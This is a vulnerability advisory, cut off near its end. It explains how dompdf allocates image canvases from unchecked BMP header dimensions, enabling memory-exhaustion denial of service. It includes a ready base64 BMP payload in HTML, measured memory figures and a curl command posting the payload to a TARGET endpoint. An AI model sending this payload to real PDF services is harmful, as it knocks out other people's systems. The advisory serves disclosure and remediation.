Dompdf: Uncontrolled resource consumption based on declared BMP dimensions
Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.
A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details
Root cause
The image is processed based on declared dimensions and type alone — no pixel budget:
```php
// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
throw new ImageException("Image type unknown", E_WARNING);
}
```
For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:
```php
// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
$meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
$width = (int) $meta["width"];
$height = (int) $meta["height"];
$type = "bmp";
}
```
At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
```php
// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
return $im;
}
// src/Helpers.php:940 — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);
```
There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src).
2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolve_url().
3. Image\Cache::resolve_url() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).
4. During render, Adapter\CPDF::image() identifies the BMP and calls _convert_to_png() (src/Adapter/CPDF.php:593).
5. _convert_to_png() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.
PoC
erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.
The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:
```
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>
```
(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)
1 — Direct conversion
```
native imagecreatefrombmp exists: yes
dompdf_getimagesize => 6000x6000 type=bmp
imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file)
Maximum resident set size: 160 MB (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it
```
The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.
2 — Full Dompdf::render()
```
declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB
declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB
```
3 — HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.
curl:
```bash
curl -s -X POST "https://TARGET/render" \
--data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \
-o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'
```
Burp Repeater (enable "Update Content-Length"):
```
PO
